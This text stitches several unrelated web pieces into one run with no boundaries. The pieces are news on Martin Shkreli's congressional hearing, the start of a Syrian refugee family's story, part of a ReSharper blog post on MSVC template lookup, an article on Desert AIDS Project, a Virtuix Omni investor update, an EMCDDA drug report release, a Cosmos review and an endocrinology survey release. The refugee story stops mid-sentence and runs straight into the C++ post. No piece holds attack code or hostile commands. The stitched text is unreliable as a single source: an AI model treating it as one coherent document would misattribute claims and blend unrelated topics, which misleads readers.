Subscribe now.Former Turing Pharmaceuticals CEO Martin Shkreli invoked his Fifth Amendment right against self-incrimination and declined to answer questions on Thursday from U.S. lawmakers interested in why the company raised the price of a lifesaving medicine by 5,000 per cent.
Shkreli, 32, sparked outrage last year among patients, medical societies and Democratic presidential front-runner Hillary Clinton after Turing raised the price of 62-year-old Daraprim to $750 US a pill from $13.50.
The medicine, used to treat a parasitic infection, once sold for $1 a pill. Earlier this week, documents outlined Turing's plan to turn Daraprim into a $200-million per year drug by raising the price 5,000 per cent. In documents released this week, Shkreli said in an email to one contact: "We raised the price from $1,700 per bottle to $75,000. Should be a very handsome investment for all of us."
At a hearing of the U.S. House committee on oversight and government reform, Shkreli sat at a table with arms crossed and repeatedly declined to answer questions about the effects of the price hike on patients.
Martin Shkreli compared his interlocutors to 'imbeciles' on Twitter after his appearance where he said nothing. (Pete Marovich/Bloomberg)
"I intend to follow the advice of my counsel, not yours," Shkreli told Rep. Trey Gowdy, a South Carolina Republican. The Fifth Amendment of the U.S. Constitution says no person shall be compelled in any criminal case "to be a witness against himself."
Shkreli was arrested in December and charged with running his investment funds and companies almost like a Ponzi scheme. He has pleaded not guilty, stepped down from Turing and was fired from KaloBios Pharmaceuticals Inc.
He faces a lengthy prison term if convicted on any or all of the charges, which is why his lawyer, Benjamin Brafman, advised him to plead the fifth — a constitutional right that all Americans have, to refuse to incriminate themselves — during his appearance before lawmakers.
Martin Shkreli invoked his Fifth Amendment privileges at a congressional hearing on Thursday. (Joshua Roberts/Reuters)
Shkreli refused to answer any questions, and at times seemed to be grinning and even suppressing laughter. Maryland Democrat Elijah Cummings repeatedly pushed Shkreli to answer, before ultimately asking him to be escorted from the hearing room once it was clear he would not answer any questions.
Outside the room, his lawyer Brafman described his client as a "brilliant scientist" and said that once all the details come out, he will be exonerated as "not the villain or the bad boy of this story... but a hero."
He dismissed Shkreli's gestures and facial expressions during his appearance as "nervous energy."This is the first in a series to be published over the next year as the Montreal Gazette shadows the Hamalians — Anna and Ohannes, their children Palig and Harout, and grandmother Sita — as they start a new life in Canada.
Until the very moment the bomb exploded, the Hamalians thought they could stick it out, even as life in Aleppo got harder and harder.
In early 2013, Anna, then 29, was making do with preserves of sun-dried peppers and eggplant, though the family often went without bread for weeks at a time, and had already taken to burning the kitchen cabinets and chairs to boil water and heat their home.
Palig, 9, and her brother Harout, 6, were still going to school, at least in the early morning — before the daily shelling began.
Sometimes, they would see a dead body or a severed limb on the way to school. Anna would tell them there had been an accident.
And until his office was ransacked, in the summer of 2013, Ohannes was still working as a diamond setter and jeweller, though business had dropped off considerably.
In Syria, everybody gives gifts of gold for weddings and birthdays and graduations — even graduation from kindergarten, Ohannes told me later. “But who buys jewelry when you’re being bombed?”
In Aleppo, the economic hub of pre-war Syria, cafés and restaurants normally bustled until midnight. But 18 months into the siege of Syria’s largest city, caught between Assad forces on one side, ISIS on the other, and myriad rebel insurgents completing the triangle, no one dared venture out onto the broken streets after 4 p.m. (The car battery, now useless inside the car, was brought inside the Hamalians’ home, to fuel Internet access.)
Then, one stifling hot day in July 2013, Ohannes and the children stepped out onto their third-floor balcony to get some air when a handmade bomb hit the building.
The explosion blew out the wooden door to the outside, and through the gaping hole Anna saw the balcony disappear into a giant cloud of white dust.
“They are all dead!” she gasped, and immediately collapsed.
The children and their father stood up, picked the bits of rock from their hair and dusted themselves off before turning to see Anna on the floor, immobile. “She’s dead!” they, too, surmised, running inside.
Ohannes lifted his wife onto the sofa and tried to comfort her as she regained consciousness.
“We are OK, everyone’s OK, don’t be afraid,” he said, as she shook and sobbed, her dark eyes now wide open. But she could not hear him. The explosion, likely aimed at a girls’ school across the street where civilians had recently sought shelter, had also blown out her eardrums.
The first- and second-floor neighbours, whose homes were now levelled, had fled weeks ago. The Hamalians knew they had gotten lucky this time, but they could not wait any longer.
It would be the start of a long, arduous journey out of Syria and all the way to Canada.
I — Aleppo to Beirut
In January 2015, the United Nations estimated some 220,000 people had been killed since the start of the Syrian civil war in 2011, half of them civilians. It has since stopped counting.
According to the Syrian Observatory for Human Rights, a London-based group with activists across Syria, the dead include almost 12,000 children and 8,000 women caught in the crossfire — 23,000 people in the province of Aleppo alone.
Add to that another 11 million people displaced by the conflict, inside or outside the country.
Into those statistics would fall Ohannes Hamalian and his family.
Some 8,600 kilometres away in Laval, Ohannes’s sister |
compile because the variable a is not a dependent name and should be found at the declaration parsing stage. However, this is not the case with MSVC, which will happily compile the code and complain only when X is instantiated and method() is called, i.e. in something like
void test() { X().method(); } 1 2 3 void test ( ) { X ( ). method ( ) ; }
But now things get even trickier, because if we declare a after the template declaration but before instantiation, everything works fine in MSVC, but must also fail according to the C++ standard:
template <class T> struct X { void method() { a = 10; // a cannot be resolved } }; int a = 0; // whoops! void test() { X().method(); } 1 2 3 4 5 6 7 8 9 10 template < class T > struct X { void method ( ) { a = 10 ; // a cannot be resolved } } ; int a = 0 ; // whoops! void test ( ) { X ( ). method ( ) ; }
It gets even more confusing when base classes are involved:
struct A { int a; }; struct B { int b; }; template <class T> struct X : A, T { int x; void method() { x = 10; // ok, x is found in X a = 10; // ok, a is found in A b = 10; // should be an error, b is non-dependent name but lookup won't find it } }; void test() { X<B> x; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct A { int a ; } ; struct B { int b ; } ; template < class T > struct X : A, T { int x ; void method ( ) { x = 10 ; // ok, x is found in X a = 10 ; // ok, a is found in A b = 10 ; // should be an error, b is non-dependent name but lookup won't find it } } ; void test ( ) { X < B > x ; }
This code compiles without problem in MSVC, but should result in an error. The workaround to make the code standard-compliant is to access the variable b as:
this->b = 10; 1 this -> b = 10 ;
So in ReSharper, we use the standard-compliant version of the lookup, so we show an error when accessing b without the this-> qualification:
However, a large number of programs written for MSVC adopt this style. And why wouldn’t they? After all, this seems like a very natural way to write code and, without proper compiler diagnostics, they would never have a clue that the code is not standard-compliant.
This is why we show warnings for these cases instead of errors by default. However, this behavior can be changed in ReSharper C++ settings by going into ReSharper settings (Code Editing → C++ → Inspections) and unchecking the appropriate flag:
We highly encourage everyone willing to write standard-compliant code to uncheck this flag!
In Closing
This may have been a bit of a discouraging post with respect to MSVC, but do not worry — in a subsequent post we’ll take a look at MSVC-specific constructs which, while not necessarily standard-compliant, are nevertheless interesting and often quite usable. ■CLOSE Infectious disease specialist Shubha Kerkar M.D. talks about Hepatitis C. (Feb. 3, 2017) Richard Lui/The Desert Sun
Buy Photo Desert AIDS Project CEO David Brinkman in his Palm Springs office on Tuesday, January 31, 2017. (Photo: Richard Lui/The Desert Sun)Buy Photo
When a group of people in the early 1980s felt compelled to respond to the lack of help available to those dying of AIDS in Palm Springs, they retreated into the mountains near Idyllwild to devise a plan. They decided a dedicated charitable organization was the answer and returned to the valley floor to make it happen.
Over the intervening three decades, that charity helped desert cities weather the AIDS epidemic while growing to become a national leader among HIV and AIDS groups with a budget of more than $20 million.
More recently, Desert AIDS Project, as the agency is now known, has expanded beyond HIV and AIDS care while staying close to its roots. DAP is now as much about giving patients access to primary health care as it is about HIV and sexual health, an evolution due in large part to advances in HIV treatment and broad changes in the U.S. health care market.
With more changes looming under President Trump, DAP leaders say they plan to continue to be part of the bumpy ride into the future.
"In recent months, one out of every two new patients who comes to us doesn't have HIV," CEO David Brinkman said in a recent interview. "They are people who are traditionally not served by the health-care industry. They're people who traditionally live on the margins, and they're people who traditionally need a full medical home."
MORE IN HEALTH: Following Obamacare, many more in Palm Springs area have health insurance
The flu is as likely to bring someone to DAP as an HIV scare. Patients may be looking for their first visit with a primary-care doctor in years or the piece of mind that comes with a full STD screening. They may want to see a mental health counselor, dentist or chiropractor. They may be seeking out some of the expanded care for transgender people DAP added under the umbrella of a new community health department.
Tommi Rose and Pinkie Merengue Shimmer at 2016 Desert AIDS Walk organized by Desert AIDS Project. (Photo: Luis Gavela / Special to Desert Outlook)
Brinkman, who has led the agency since 2006, said all of the new offerings aren't meant to take away from DAP's core purpose.
"Desert AIDS Project's name will remain Desert AIDS Project and our primary focus will be HIV," he said. "Our commitment is to people living with HIV first and foremost. But we have a responsibility given the success of the model and health outcomes that we have and the programs that we have built."
In 2015, DAP became a federally qualified health center, a designation that requires it to target marginalized populations and offer general health services on a sliding pay scale in exchange for better federal health-care reimbursement rates.
Brinkman said he hopes to announce plans before the end of the year for a major fundraising campaign to expand the facilities at DAP's campus at Sunrise Way and Vista Chino. DAP is already working to eventually add to its affordable housing program with new structures built on vacant land near the campus on Sunrise. The wait for an apartment in the 80-unit Vista Sunrise apartments on Vista China, which DAP already operates, can last between 1.5 years and more than three years. More heavily subsidized apartments require longer waits.
DAP's fundraising operation will be on full display Saturday when hundreds of supporters gather for the annual Steve Chase Humanitarian Awards. This year the fundraiser, which has a reputation for bringing in celebrity speakers and entertainment, will include performances by The Pointer Sisters and 90s dance hit-makers La Bouche. The dinner's theme is 90-90-90 for the international plan to end AIDS by 2020 by making sure 90 percent of people with HIV know their status, 90 percent of those diagnosed are on treatment, and 90 percent of those on treatment have suppressed their virus levels.
Buy Photo Erin Scott, manager of marketing and public relations at Palm Desert's Living Desert zoo, gives Robert Reinhagen a high five after winning the championship trophy at the Dancing with the Desert Stars competition in Palm Springs on Saturday, Dec. 17, 2016. The event is a fundraiser for Desert AIDS Project. (Photo: Robert Hopwood/The Desert Sun)
Steve Chase was a well-known interior designer and early supporter of DAP who died of complications from AIDS in 1994.
"The gala is an important statement every year to help people remember that HIV is not over, that there are a lot of people through the world and the United States living with HIV, and DAP and other organizations need to continue serving those individuals," said DAP board chairman Steve Kaufer, a Chase friend and another early volunteer with DAP.
LOCAL HEALTH CARE: Does the Coachella Valley need a new hospital?
More than 1.2 million people in the U.S. have HIV and an additional 40,000 people become infected each year. New infections combined with the fact that positive men and woman are living longer mean the number of people living with the HIV virus is growing. In California, for example, the number of people with HIV grew by about 10,500 from 2010 to 2014, according to state data. More than 6,000 people in Riverside County are HIV positive, the state said.
HIV is less scary than it once was, allowing DAP to shift attention to new medical advances and new threats. Through its sexual health clinic The Dock, DAP provides testing for HIV and other sexually transmitted diseases as well as medications available to prevent infection, known as PrEP and PEP.
Targeting new diseases
DAP is making two other infectious diseases a large focus of its education and testing efforts. Since the 1990s, syphilis has seen a resurgence in the U.S., particularly among gay and bisexual men. Communities with large gay populations, including Palm Springs, have grappled with syphilis rates far above those seen nationally.
Hepatitis C, a viral infection that gradually wrecks the liver, is typically spread through shared needles although sexual transmission is also possible. Last year, DAP opened a new hepatitis C clinic with the goal of upping the numbers of people being tested.
Buy Photo Dr. Shubha Kerkar talks about hepatitis C at Desert AIDS Project in Palm Springs on Tuesday, January 31, 2017. (Photo: Richard Lui/The Desert Sun)
"Everyone probably should be screened for hepatitis C at least once in their lifetime," said Dr. Shubha Kerkar, an infectious disease specialist at DAP. She added that the two highest risk groups are baby boomers (people born between the mid 1940s and mid 1960s) and intravenous drug users.
Brinkman said educating people about the need to be tested for hepatitis C and syphilis was an easy extension of DAP's Get Tested Coachella Valley campaign, which has sought to make sure every valley resident knows his or her HIV status. Brinkman has traveled to Washington to speak about the program so that it might be replicated in other parts of the country.
The Affordable Care Act and its provision to add more low-income people to Medicaid have been a driving force behind DAP's growth into more general care. In California, where Medicaid is known as Med-Cal, the ACA expansion has led to one third of the state being enrolled in the government health coverage. A repeal of the law, like the one vowed by Trump and Republicans in Congress, puts all that growth into question.
"There's been no talk of rolling back services at this point," Kaufer said. If changes approved in Washington do cut into the reimbursements going to DAP, then leaders will decide how to respond, he added.
Trump has said little about HIV and AIDS, but advocates see no reason to be optimistic about the future funding or a continuation of the Obama administration committed to work with international health groups to fight HIV. Language about the nation's HIV strategy, along with other discussion of LGBT issues, was scrapped from the White House website immediately after Trump assumed office.
Shortly before the inauguration, 113 U.S. AIDS groups signed on to a nine-page letter to Trump urging him to continue the work already underway to completely stop HIV. So far, the administration has not responded.
Brinkman credited the Affordable Care Act with linking an enormous number of HIV patients to treatment for the first time. Any repeal puts that progress at risk, but he said he's hearing there is no reason yet for Desert AIDS Project to retreat on its plans.
"DAP's been doing this work for three decades, much much longer than we had Medicaid expansion" Brinkman said. "It's not going to stop its work."
Barrett Newkirk covers health care. Reach him at (760)778-4767, barrett.newkirk@desertsun.com or on Twitter @barrettnewkirk.
Read or Share this story: http://desert.sn/2kJbXwFHello Community!
Good news: now that we have successfully completed our Pathfinder program and implemented various quality improvements, we have started our pilot run of our dedicated, high volume Omni assembly line. See a few pictures below of near-finished Omni sub-assemblies being tested on the factory floor:
The 35 pilot run units will be delivered this month via air freight to our earliest Kickstarter backers and a few partners. Based on our evaluation of the pilot run, we will firm up our production and delivery schedule with solid commitments from our supply chain partners. Our aim is to increase our throughput from an initial 500 units/month to 2,000 units/month by the end of this year.
Thank you for your continued patience and support as your long wait is coming to an end! See our Virtuix Omni Package
New Games Played with the Omni
We played a bunch of new games this month with the Omni and made a few videos showing how VR immersion and fun are increased when you are not forced into teleporting by the space constraints of your room. Thanks to the Omni’s gamepad and keyboard emulation functionality, these games work out-of-the-box with the Omni without any developer tweaks.
VR horror game Dreadhalls played with the Oculus Rift (Tom’s Hardware describes the experience here):
More VR horror with Affected – the Manor played on the Gear VR:
A stroll through memories with Mind – Path to Thalamus:
AltspaceVR also works out-of-the-box with the Omni:
We also selected the following two customer-made videos for you:
Vivecraft played by our Pathfinder and community manager SutekiB:
Game developer Xfield is excited to set up their two Omnis:
After playing VR games with the Omni, who would want to go back to experiencing VR sitting down on a chair or teleporting?
Strategic Investment
We are excited to announce that we received a major investment from Leyard, a multi-billion dollar, public Chinese company that will become an important partner of Virtuix in the massive Chinese market. We believe VR will take off faster and become bigger in China than anywhere else. China has some 140,000 internet cafes, many of which will be retrofitted as VR cafes. The Omni is a great fit for these sites. Leyard will introduce us to large potential customers engaged in VR developments such as entertainment centers and VR cafes, and provide us with access to their distribution channels and overall network in China. We’ll announce a few more exciting developments and partnerships from China in the next few weeks, so stay tuned!
Our Series A round continues to fill up at a steady pace as we enter the final month of our campaign, which ends officially on July 31. We now received more than $6MM in investments from venture capitalists, strategic investors, and more than 1,250 private investors. You can participate by completing the investment process on SeedInvest:
www.seedinvest.com/virtuix/series.a
As always please join us on our Forums if you’d like to discuss this update or anything VR related:
http://forum.virtuix.com
Best regards,
Jan and the Virtuix Team
Legal Disclaimer: Virtuix Holdings, Inc. (the “Company”) is offering securities through the use of an Offering Statement that has been qualified by the Securities and Exchange Commission under Tier II of Regulation A. A copy of the Final Offering Circular that forms a part of the Offering Statement may be obtained from https://www.seedinvest.com/virtuix/series.a/filing. This Company’s profile and accompanying offering materials may contain forward-looking statements and information relating to, among other things, the Company, its business plan and strategy, and its industry. These statements reflect management’s current views with respect to future events based information currently available and are subject to risks and uncertainties that could cause the Company’s actual results to differ materially. Investors are cautioned not to place undue reliance on these forward-looking statements as they are meant for illustrative purposes and they do not represent guarantees of future results, levels of activity, performance, or achievements, all of which cannot be made. Moreover, no person nor any other person or entity assumes responsibility for the accuracy and completeness of forward-looking statements, and is under no duty to update any such statements to conform them to actual results.Rising overdose deaths, the continued availability of new psychoactive substances and the growing health threat of highly potent synthetic opioids are among the issues highlighted today by the EU drugs agency (EMCDDA) as it launches its European Drug Report 2017: Trends and Developments in Brussels (1). In its annual overview, the agency also explores: signs of rising cocaine availability; developments in cannabis policies; and substance use among school students. As the drug problems facing Europe are increasingly influenced by developments occurring internationally, the analysis is placed in the global context.
Dimitris Avramopoulos, European Commissioner for Migration, Home Affairs and Citizenship, says: ‘The impact of the drugs problem continues to be a significant challenge for European societies. Over 93 million Europeans have tried an illicit drug in their lives and overdose deaths continue to rise for the third year in a row. I am especially concerned that young people are exposed to many new and dangerous drugs. Already 25 highly potent synthetic opioids were detected in Europe between 2009 and 2016, of which only small volumes are needed to produce many thousands of doses, thus posing a growing health threat. The annual European Drug Report gives us the necessary analysis, guidance and tools to tackle this threat together across Europe, not just to protect the health of our citizens, but also to stop huge profits from drugs ending up in the pockets of organised crime groups in Europe and beyond.’
Overdose deaths on the rise for third consecutive year
Today’s report highlights concern over the increasing number of drug overdose deaths in Europe, which has risen for the third consecutive year. A total of 8 441 overdose deaths, mainly related to heroin and other opioids, are estimated to have occurred in Europe in 2015 (28 EU, Turkey and Norway — Infographic, p. 77), a 6% increase on the estimated 7 950 deaths in the 30 countries in 2014. Increases were reported in almost all age groups (Figure 3.12). Rises in overdose deaths in 2015 are reported in Germany, Lithuania, the Netherlands, Sweden, the UK and Turkey. Europe’s 1.3 million problem opioid users are among the most vulnerable.
Infographic
Figure 3.12
Opioids used in substitution treatment — primarily methadone and buprenorphine — are also regularly found in toxicological reports. Latest data show that the number of recorded methadone-related deaths exceeded heroin-related deaths in Denmark, Ireland, France and Croatia, underlining the need for good clinical practice to prevent diversion of these substances from their legitimate use (2).
Interventions to prevent overdoses in Europe include supervised drug consumption room (DCRs) and the provision of ‘take-home’ naloxone (opioid overdose-reversal drug) to opioid users, their peers and families (3). DCRs now operate in six EU countries (DK, DE, ES, FR, LU, NL) and Norway (78 facilities in total for the seven countries) (4). Take-home naloxone programmes now exist in nine EU countries (DK, DE, EE, IE, ES, FR, IT, LT, UK) and Norway (5).
New drugs emerging at a slower pace, but overall availability still high
New psychoactive substances (NPS/‘new drugs’) remain a considerable public health challenge in Europe. Not covered by international drug controls, they include a broad range of synthetic substances, including cannabinoids, cathinones, opioids and benzodiazepines.
Figure 1.10
In 2016, 66 NPS were detected for the first time via the EU Early Warning System (EWS) — a rate of over one per week (Figure 1.10). Although this number points to a slowing of the pace at which new substances are being introduced onto the market — 98 substances were detected in 2015 — the overall number of substances now available remains high. By the end of 2016, the EMCDDA was monitoring more than 620 NPS (compared with around 350 in 2013).
The slower rate of new detections in Europe may be attributed to a number of factors. New legislation in some Member States (e.g. blanket bans, generic and analogue-based controls) has created a more restrictive legal environment, in which there may be less incentive for producers to engage in a‘cat-and-mouse game’ with regulators, where innovation is used to keep ahead of controls. Law-enforcement operations and control measures targeting NPS laboratories in China may also be contributing to the slowdown.
EMCDDA Director Alexis Goosdeel says: ‘Our latest findings suggest that responses to new psychoactive substances, such as new legislation and measures targeting the high-street shops that sell these products, may be having an impact on the emergence of NPS on the market. But despite positive signs of a slowdown in product innovation, overall availability remains high. We are seeing sales of these drugs becoming more clandestine, with transactions moving online or onto the illicit drug market, and we have witnessed the recent appearance of some highly potent substances, which have been linked to deaths and serious intoxications’.
In 2015, almost 80 000 seizures of NPS were reported through the EWS (Figure 1.11). Together, synthetic cannabinoids and synthetic cathinones accounted for over 60% of all seizures of new substances in 2015 (over 47 000). In July 2016, MDMB-CHMICA became the first synthetic cannabinoid to be risk-assessed by the EMCDDA after harmful effects (including around 30 deaths) related to its use were reported via the EWS. This resulted in a decision in February 2017 to subject the substance to Europe-wide control measures (6).
Figure 1.11
Accompanying today’s report is a new analysis of High-risk drug use and new psychoactive substances, which focuses on the problematic use of NPS among a range of demographic groups, including: opioid and amphetamine injectors; prisoners; the homeless; and men who have sex with men. The report explores, in particular, the use of synthetic cathinones, synthetic cannabinoids and new synthetic opioids, as well as related harms and responses (7).
New synthetic opioids — highly potent and a growing health threat
In Europe, as in North America, highly potent synthetic opioids, which mimic the effects of heroin and morphine, are a growing health threat. While representing a small share of the market, there are increasing reports of the emergence of these substances and of the harms they cause, including non-fatal intoxications and deaths. Twenty-five new synthetic opioids were detected in Europe between 2009 and 2016 (18 of these were fentanils).
With only small volumes needed to produce many thousands of street doses, new synthetic opioids are easy to conceal and transport, posing a challenge for drug control agencies and a potentially attractive commodity for organised crime. They are found in various forms — mainly powders, tablets and capsules — with some now available as liquids and sold as nasal sprays.
Fentanils are subject to particular scrutiny. These exceptionally potent substances — some many times more potent than heroin — accounted for over 60% of the 600 seizures of new synthetic opioids reported in 2015. Eight new fentanils were reported through the EWS for the first time in 2016 alone. These substances pose a serious risk of intoxication, not only to users but also to those who may be accidentally exposed to these drugs (e.g. via skin contact, inhalation), such as postal and customs workers and emergency service personnel.
Early in 2017, the EMCDDA carried out risk assessments of two fentanils (acryloylfentanyl and furanyl-fentanyl), after over 50 deaths associated with these substances were reported (8). These are now being considered for control at European level (9). The agency issued five health alerts in 2016 to its network across Europe related to these, and other, new fentanils.
Signs of rising cocaine availability
Europe’s most commonly used illicit stimulant drugs are cocaine, MDMA (sometimes referred to as ‘ecstasy’ in tablet form) and amphetamines (amphetamine and methamphetamine). Cocaine use is higher in western and southern European countries — reflected in ports of entry and trafficking routes — while use of amphetamines is more prominent in northern and eastern Europe. The stimulant market has become increasingly complex in recent years, with the arrival of new stimulants (e.g. phenethylamines and cathinones).
Data from wastewater monitoring and on seizures, price and purity suggest that the availability of cocaine may be rising again in parts of Europe (Figure 2.4). Both the number of seizures and the quantity seized increased between 2014 and 2015 (Figure 1.6). Some 87 000 seizures of cocaine were reported in the EU in 2015 (76 000 in 2014), amounting to 69.4 tonnes seized (51.5 tonnes in 2014)(Infographic, p. 26). At city level, a study analysing municipal wastewater for cocaine residues showed a stable or increasing longer-term trend in most of the 13 cities with data between 2011 and 2016. Of the 33 cities with data for 2015 and 2016, 22 cities reported an increase in cocaine residues, four a decrease and seven a stable situation (10).
Figure 2.4
Figure 1.6
Infographic
Around 17.5 million European adults (15–64 years) have tried cocaine at some time in their lives. Of these, around 2.3 million are young adults (15–34 years) who have used the drug in the last year. National surveys since 2014 show levels of cocaine use to be primarily stable.
Global cannabis policy developments: what implications for Europe?
Figure 2.2
Recent changes in the regulatory framework for cannabis occurring in parts of the Americas have generated interest among policymakers and the public in Europe (11). ‘There is a need to wait for robust evaluations before the relative costs and benefits of differing cannabis policy approaches can be assessed’, states the report. Within the 28 EU Member States, current approaches to cannabis regulation and use are diverse, ranging from restrictive models to the tolerance of some forms of personal use (12). However, no national government in Europe (EU 28, Turkey and Norway) has currently expressed support for the legalisation of cannabis for recreational use.
Regardless of any wider impact on drug policy, the existence of a commercially regulated cannabis market in some countries outside Europe is fuelling innovation and product development (e.g. vaporisers, e-liquids, edible products), which may, in time, impact on patterns of use in Europe. Here the report underlines the importance of monitoring and the need to evaluate the potential health implications of any future changes.
Some 87.7 million European adults (15–64 years) have tried cannabis in their lifetime. Of these, an estimated 17.1 million are young Europeans (15–34 years) who have used cannabis in the last year. Around 1% of European adults are daily or almost daily cannabis users (use on 20 days or more in the last month). The most recent survey results show that countries continue to follow divergent paths in last-year cannabis use (Figure 2.2). Cannabis continues to be associated with health problems and is now responsible for the greatest share (45%) of new entrants to drug treatment in Europe (28 EU, Turkey and Norway). Overall, the number of reported first-time treatment entrants for cannabis problems rose from 43 000 in 2006 to 76 000 in 2015.
EU and US: school student substance use compared
Monitoring substance use among school students offers valuable insight into current youth risk behaviours and potential future trends. This year’s report compares long-term patterns of substance use among European and American students (15–16 years), following the release of two major school surveys in 2016 (13). The surveys show smoking and drinking among school students in Europe and the US to be declining, while trends in cannabis use appear to be more stable.
Last-month cannabis use among the European school students surveyed (21 EU countries and Norway), was around half the level (8%) of that reported in the US (15%) (Graphic, p. 13). Last-month tobacco use was almost four times higher among students in Europe (23%) than in the US, where it was low at 6%. Tobacco use among US students was less than half the level of cannabis use in this group. The percentage of European students reporting last-month alcohol use was more than double (49%) that reported by their American peers (22%).
Graphic
‘Further analysis of both the similarities and differences in the students’ substance use is needed to explore the relative influence of the social, contextual and regulatory factors on the choices made by young people’, states the report. ‘Understanding, for example, what has led to the reductions in cigarette smoking in both the United States and Europe may offer insights for addressing the use of other substances, such as cannabis’, it adds.
Spotlight on national drug situations
Today’s report will be complemented for the first time by 30 Country Drug Reports, presenting summaries of national drug phenomena (EU 28, Turkey and Norway). Developed by the EMCDDA, in cooperation with the Reitox national focal points, these graphic-rich reports cover: drug use and public health problems; drug policy and responses; and drug supply (14). Key features include an ‘At a glance’ table, summarising the national drug problem in figures, and an ‘EU dashboard’, placing the country data in the European context.
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Chair of the EMCDDA Management Board Laura d’Arrigo concludes: ‘As the drug phenomenon continues to evolve, so too must Europe’s responses. The first step towards achieving this is an understanding of the challenges we face: the EMCDDA strives to provide the best possible evidence on the drug situation across Europe. The data presented this year in the European Drug Report compare national situations and clearly highlight emerging threats, helping decision-makers to act effectively. The EMCDDA’s analyses are crucial to ensure that the new EU action plan on drugs for the next four years remains relevant. Promoting an evidence-based culture in drug policymaking is a key contribution to a healthier and more secure Europe.’Neil deGrasse Tyson on the “Ship of the Imagination” in an episode of the new Cosmos. Photo courtesy Fox
How big is the cosmos? This is both a central question of Cosmos, the Seth MacFarlane–produced, Neil deGrasse Tyson-hosted reboot of Carl Sagan’s widely watched and beloved 1980 miniseries investigating and elucidating our knowledge about the universe, and a question of Fox’s, which is premiering the new version on all 10 of its channels this Sunday night, in hopes that an educational program about stars, history, evolution, and the universe can once again become a zeitgeist-capturing, hugely-rated television event. Will Americans still be delighted to eat our science vegetables if they are sprinkled with enough stardust? Fox is hoping yes.
The new Cosmos starts slowly and reverently enough: deGrasse Tyson, a warm, avuncular presence, standing on the same cliffs Sagan did, talking about the universe, our place in it, and preaching the gospel of the scientific method in a glossy episode, which, scientifically speaking, doesn’t advance much beyond middle school. But though Cosmos hews to many of the conceits deployed in the original—the “Ship of the Imagination” is back, as is the calendar compressing the 13.8-billion-year lifespan of the universe into just one year, not to mention the humorless pronunciation of Uranus as YUR-anis—things have changed, and not just because Pluto is no longer a planet.
In 34 years, scientists have made significant advances, as have special effects departments (the Ship of Imagination is newly sleek), but the most notable change is how politicized science and scientific thought have become. The first episode of Cosmos devotes a good chunk of itself to an animated sequence about a Franciscan monk living in 16th-century Italy who was burned at the stake for his scientifically correct beliefs. It is a segment aimed squarely at anti-science advocates, implicitly arguing that science and the scientific method are not necessarily inimical to god.
DeGrasse Tyson, walking the streets of Rome, relays the story of that monk, whose name was Giordano Bruno. (Though he lived between Copernicus and Galileo, these more famous men each barely get name-checked.) Bruno had a dream not just that the Earth wasn’t the center of the universe, per Copernicus, but that neither was the sun: Instead, the universe was limitless. Bruno was not a scientist. He did not test his hypothesis. His insight came to him as a revelation, one he kept preaching even as he was excommunicated and banished from every church—Catholic, Protestant, and Calvinist—in the land (as well as being laughed out of Cambridge). In Cosmos’ version of Bruno’s story, organized religion, and the Catholic Church in particular, are presented as rigid and corrupt—the church is described as the “thought police” and the priest who sentences Bruno to death looks like a very nefarious Disney villain—but faith itself is not. Bruno’s argument is that his god is limitless and unbounded, so why shouldn’t the universe be? “Your god is too small!” he cries to those who brand him a heretic.
Writing in New York magazine, Matt Zoller Seitz interpreted this segment of Cosmos as “painting organized religion as an irrelevant and intellectually discredited means of understanding factual reality” and as part of the show’s larger “pushback against faith’s encroachments on the intellectual terrain of science.” (This is particularly in contrast to the sort of echt-spirituality and new-ageism that hovered around the original Cosmos. Sagan himself was agnostic.) Organized religion certainly comes in for it, but I think this segment is up to something more gentle than declaring war on blinkered anti-science evangelists. Cosmos is offering viewers a way to reconcile science and faith: Don’t let your god be too small.
I doubt very much that the mini-bio of Giordano Bruno will prove effective at convincing creationists that Cosmos is for them. Cosmos is unapologetic about its faith in science: “Science gives us the power to see what vision cannot,” deGrasse Tyson says. In one segment, he points out that if you compress the history of the universe to one year, then Jesus and the religion he inspired have existed for all of five seconds. But just the simple fact that nearly a quarter of Cosmos’ first episode is devoted to an allegory about a relatively marginal Franciscan monk, rather than science itself, shows how extensively anti-science activists have hijacked the conversation, and just how seriously Cosmos takes that hijacking. Cosmos is trying to encourage all remotely reasonable people, god-fearing or otherwise, to look up at the stars.Washington, DC -- Four out of five physicians who specialize in treating hormone health conditions have never received formal training on care for transgender individuals, according to a new study published in the Endocrine Society's Journal of Clinical Endocrinology & Metabolism.
Transgender individuals have a gender identity that is different from their sex assigned at birth. Many people who are transgender are prescribed hormones or undergo other medical treatments to reduce the distress that can subsequently occur. They often seek treatment from endocrinologists -- physicians and scientists who specialize in treating and researching hormone conditions.
"As awareness and insurance coverage of transgender healthcare has increased, there is growing demand for healthcare providers with expertise in this area," said the study's first author, Caroline Davidge-Pitts, MD, of the Mayo Clinic in Rochester, MN. "It is crucial for endocrinologists to receive the necessary training to feel confident providing the highest quality care for this population."
The Mayo Clinic and the Endocrine Society conducted an online survey of practicing U.S. endocrinologists and directors of training programs that prepare fellows, residents and medical students for endocrinology careers to gauge their understanding of transgender healthcare.
Of 411 practicing physicians who responded, nearly 80 percent had treated a transgender individual during their career. The survey found that most healthcare providers were comfortable taking a history or prescribing hormones to transgender individuals. Respondents felt less confident discussing surgery and other non-hormonal treatment options, which may require a referral to a surgeon or other healthcare provider. The survey respondents were interested in receiving additional training in transgender care from online training modules and medical meeting presentations.
Of the 54 endocrinology fellowship program directors who responded to the survey, 35 said their programs provided dedicated teaching on transgender health topics. The respondents said the biggest hurdles to providing more education were lack of faculty interest or experience, training resources and funding.
"The survey results will help us develop strategies to educate endocrinologists who are currently in practice as well as those entering the field about transgender care," Davidge-Pitts said. "Teaching transgender health topics earlier, in medical school or residency, is one way to ensure young professionals are prepared. Expanded continuing education through online modules or medical meetings can benefit current healthcare providers."
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The study, "Transgender Health in Endocrinology: Current Status of Endocrinology Fellowship Programs and Practicing Clinicians," will be published online at https:/ / academic. oup. com/ jcem/ article-lookup/ doi/ 10. 1210/ jc. 2016-3007, ahead of print.
Other authors of the study include: Todd B. Nippoldt, Lauren Radziejewski and Neena Natt of the Mayo Clinic in Rochester, MN; and Ann Danoff of the CPL Michael J. Crescenz VA Medical Center and the Perelman School of Medicine at the University of Pennsylvania in Philadelphia, PA.
The Endocrine Society is in the process of updating its 2009 Clinical Practice Guideline on gender dysphoria. The revised guideline will provide evidence-based recommendations on the best practices for treating transgender individuals.
